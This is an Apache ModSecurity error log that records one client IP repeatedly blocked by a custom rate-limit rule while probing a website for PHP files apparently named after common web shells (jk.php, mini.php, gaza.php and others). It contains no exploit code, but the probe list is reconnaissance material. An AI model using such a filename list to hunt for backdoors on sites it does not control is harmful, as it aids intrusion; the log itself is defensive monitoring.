[Thu Apr 23 23:59:55.235108 2026] [:error] [pid 65000:tid 65030] [client 4.212.93.21:65506] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aepB-76vRb9j6psK2ZYHWQAAAgE"]
[Thu Apr 23 23:59:56.569488 2026] [:error] [pid 59700:tid 59723] [client 4.212.93.21:35266] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aepB_JXyGZJFeAIDWtlVGwAAAVU"]
[Thu Apr 23 23:59:57.332657 2026] [:error] [pid 59700:tid 59706] [client 4.212.93.21:58314] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aepB_ZXyGZJFeAIDWtlVHwAAAUQ"]
[Fri Apr 24 00:00:00.147009 2026] [:error] [pid 64967:tid 64984] [client 4.212.93.21:5612] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aepCAIAV4GfOOdX8QzqHzgAAAY8"]
[Fri Apr 24 00:00:02.577674 2026] [:error] [pid 42973:tid 43048] [client 4.212.93.21:34632] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aepCAm6I0QqmmmLTHE1XDQAAAIU"]
[Fri Apr 24 00:00:05.134682 2026] [:error] [pid 42973:tid 43062] [client 4.212.93.21:54121] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aepCBW6I0QqmmmLTHE1XEQAAAJM"]
[Fri Apr 24 00:00:11.863593 2026] [:error] [pid 65000:tid 65042] [client 4.212.93.21:51896] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aepCC76vRb9j6psK2ZYHawAAAgk"]
[Fri Apr 24 00:00:14.076568 2026] [:error] [pid 65000:tid 65032] [client 4.212.93.21:65488] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aepCDr6vRb9j6psK2ZYHdQAAAgM"]
[Fri Apr 24 00:00:15.087450 2026] [:error] [pid 64998:tid 65012] [client 4.212.93.21:51865] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aepCD4V5EysYcTLjmwjh7gAAAco"]
[Fri Apr 24 00:00:15.942452 2026] [:error] [pid 64998:tid 65021] [client 4.212.93.21:51874] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aepCD4V5EysYcTLjmwjh8gAAAdM"]
[Fri Apr 24 00:00:16.696334 2026] [:error] [pid 64998:tid 65009] [client 4.212.93.21:40362] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aepCEIV5EysYcTLjmwjh8wAAAcc"]
[Fri Apr 24 00:00:17.538514 2026] [:error] [pid 42971:tid 43004] [client 4.212.93.21:5160] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aepCETEP2_5RswrH8bE_CQAAABI"]
[Fri Apr 24 00:00:19.398481 2026] [:error] [pid 65000:tid 65032] [client 4.212.93.21:5146] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aepCE76vRb9j6psK2ZYHegAAAgM"]
[Fri Apr 24 00:00:20.185295 2026] [:error] [pid 46953:tid 46960] [client 4.212.93.21:5600] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aepCFEnlpdHh-P6wKbpdFgAAAkQ"]
[Fri Apr 24 00:00:20.962524 2026] [:error] [pid 65000:tid 65047] [client 4.212.93.21:40329] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aepCFL6vRb9j6psK2ZYHfwAAAg4"]
[Fri Apr 24 00:00:21.855396 2026] [:error] [pid 65000:tid 65039] [client 4.212.93.21:54111] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aepCFb6vRb9j6psK2ZYHhAAAAgY"]
[Fri Apr 24 00:00:23.059338 2026] [:error] [pid 64967:tid 64974] [client 4.212.93.21:65518] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aepCF4AV4GfOOdX8QzqH1gAAAYU"]
[Fri Apr 24 00:00:24.578294 2026] [:error] [pid 65000:tid 65052] [client 4.212.93.21:55925] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aepCGL6vRb9j6psK2ZYHiwAAAhM"]
[Fri Apr 24 00:00:25.619806 2026] [:error] [pid 65000:tid 65041] [client 4.212.93.21:37190] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aepCGb6vRb9j6psK2ZYHjwAAAgg"]
[Fri Apr 24 00:00:26.929116 2026] [:error] [pid 65000:tid 65052] [client 4.212.93.21:55879] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aepCGr6vRb9j6psK2ZYHlAAAAhM"]
[Fri Apr 24 00:00:40.248492 2026] [:error] [pid 42973:tid 43058] [client 4.212.93.21:58323] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/profile.php"] [unique_id "aepCKG6I0QqmmmLTHE1XQAAAAI8"]
[Fri Apr 24 00:00:40.969550 2026] [:error] [pid 64998:tid 65021] [client 4.212.93.21:5582] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/profile.php"] [unique_id "aepCKIV5EysYcTLjmwjiFwAAAdM"]
[Fri Apr 24 00:00:42.003057 2026] [:error] [pid 65000:tid 65053] [client 4.212.93.21:58308] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/profile.php"] [unique_id "aepCKr6vRb9j6psK2ZYHugAAAhQ"]
[Fri Apr 24 00:00:43.498905 2026] [:error] [pid 64998:tid 65026] [client 4.212.93.21:5607] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/profile.php"] [unique_id "aepCK4V5EysYcTLjmwjiLAAAAdg"]
[Fri Apr 24 00:00:44.339054 2026] [:error] [pid 64998:tid 65010] [client 4.212.93.21:55917] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "aepCLIV5EysYcTLjmwjiMAAAAcg"]
[Fri Apr 24 00:00:45.557566 2026] [:error] [pid 42971:tid 43000] [client 4.212.93.21:65473] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "aepCLTEP2_5RswrH8bE_EwAAAA4"]
[Fri Apr 24 00:00:46.591194 2026] [:error] [pid 42971:tid 43006] [client 4.212.93.21:58340] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "aepCLjEP2_5RswrH8bE_FQAAABQ"]
[Fri Apr 24 00:00:47.835063 2026] [:error] [pid 42973:tid 43065] [client 4.212.93.21:64979] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "aepCL26I0QqmmmLTHE1XQwAAAJY"]
[Fri Apr 24 00:00:48.674772 2026] [:error] [pid 43083:tid 43086] [client 4.212.93.21:43277] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aepCMDC5hrvNXosL83KVIgAAAME"]
[Fri Apr 24 00:00:49.729092 2026] [:error] [pid 65000:tid 65045] [client 4.212.93.21:51902] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aepCMb6vRb9j6psK2ZYHzAAAAgw"]
[Fri Apr 24 00:00:51.899540 2026] [:error] [pid 43083:tid 43109] [client 4.212.93.21:48178] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aepCMzC5hrvNXosL83KVJwAAANg"]
[Fri Apr 24 00:00:53.160606 2026] [:error] [pid 42971:tid 43010] [client 4.212.93.21:36572] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aepCNTEP2_5RswrH8bE_GQAAABg"]
[Fri Apr 24 00:00:54.718796 2026] [:error] [pid 64967:tid 64970] [client 4.212.93.21:46311] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aepCNoAV4GfOOdX8QzqH3QAAAYE"]
[Fri Apr 24 00:00:56.423159 2026] [:error] [pid 42971:tid 42995] [client 4.212.93.21:48881] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aepCODEP2_5RswrH8bE_HgAAAAk"]
[Fri Apr 24 00:00:59.569479 2026] [:error] [pid 64998:tid 65013] [client 4.212.93.21:46281] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aepCO4V5EysYcTLjmwjiagAAAcs"]
[Fri Apr 24 00:01:01.073080 2026] [:error] [pid 42973:tid 43046] [client 4.212.93.21:55955] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aepCPW6I0QqmmmLTHE1XVAAAAIM"]
[Fri Apr 24 00:01:02.536081 2026] [:error] [pid 42973:tid 43047] [client 4.212.93.21:55963] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aepCPm6I0QqmmmLTHE1XWQAAAIQ"]
[Fri Apr 24 00:01:03.672837 2026] [:error] [pid 42971:tid 43004] [client 4.212.93.21:55954] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aepCPzEP2_5RswrH8bE_JgAAABI"]
[Fri Apr 24 00:01:04.486211 2026] [:error] [pid 59700:tid 59711] [client 4.212.93.21:41439] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aepCQJXyGZJFeAIDWtlVOQAAAUk"]
[Fri Apr 24 00:01:06.500152 2026] [:error] [pid 64998:tid 65020] [client 4.212.93.21:57081] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aepCQoV5EysYcTLjmwjieQAAAdI"]
[Fri Apr 24 00:01:07.690605 2026] [:error] [pid 64998:tid 65010] [client 4.212.93.21:48828] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aepCQ4V5EysYcTLjmwjifAAAAcg"]
[Fri Apr 24 00:01:08.734631 2026] [:error] [pid 65000:tid 65038] [client 4.212.93.21:41450] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aepCRL6vRb9j6psK2ZYH7wAAAgU"]
[Fri Apr 24 00:01:09.516246 2026] [:error] [pid 59700:tid 59723] [client 4.212.93.21:45810] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aepCRZXyGZJFeAIDWtlVQQAAAVU"]
[Fri Apr 24 00:01:10.380553 2026] [:error] [pid 65000:tid 65029] [client 4.212.93.21:39769] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aepCRr6vRb9j6psK2ZYH9AAAAgA"]
[Fri Apr 24 00:01:11.148018 2026] [:error] [pid 65000:tid 65051] [client 4.212.93.21:43913] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aepCR76vRb9j6psK2ZYH-gAAAhI"]
[Fri Apr 24 00:01:11.904268 2026] [:error] [pid 42972:tid 43037] [client 4.212.93.21:45809] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aepCR8OAb-3sOknsk4eGIQAAAFU"]
[Fri Apr 24 00:01:12.660326 2026] [:error] [pid 65000:tid 65029] [client 4.212.93.21:56545] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aepCSL6vRb9j6psK2ZYIAgAAAgA"]
[Fri Apr 24 00:01:13.484517 2026] [:error] [pid 65000:tid 65032] [client 4.212.93.21:43924] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aepCSb6vRb9j6psK2ZYIEwAAAgM"]
[Fri Apr 24 00:01:14.166531 2026] [:error] [pid 65000:tid 65037] [client 4.212.93.21:5810] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aepCSr6vRb9j6psK2ZYIHAAAAgQ"]
[Fri Apr 24 00:01:14.721616 2026] [:error] [pid 65000:tid 65048] [client 4.212.93.21:63615] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aepCSr6vRb9j6psK2ZYIHwAAAg8"]
[Fri Apr 24 00:01:15.596676 2026] [:error] [pid 42972:tid 43029] [client 4.212.93.21:65434] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aepCS8OAb-3sOknsk4eGJgAAAE0"]
[Fri Apr 24 00:01:16.544410 2026] [:error] [pid 46953:tid 46964] [client 4.212.93.21:43931] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aepCTEnlpdHh-P6wKbpdQQAAAkg"]
[Fri Apr 24 00:01:17.239649 2026] [:error] [pid 65000:tid 65031] [client 4.212.93.21:5762] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aepCTb6vRb9j6psK2ZYIJgAAAgI"]
[Fri Apr 24 00:01:18.354567 2026] [:error] [pid 64998:tid 65009] [client 4.212.93.21:48827] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aepCToV5EysYcTLjmwjikgAAAcc"]
[Fri Apr 24 00:01:20.407744 2026] [:error] [pid 64998:tid 65005] [client 4.212.93.21:55410] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aepCUIV5EysYcTLjmwjimgAAAcM"]
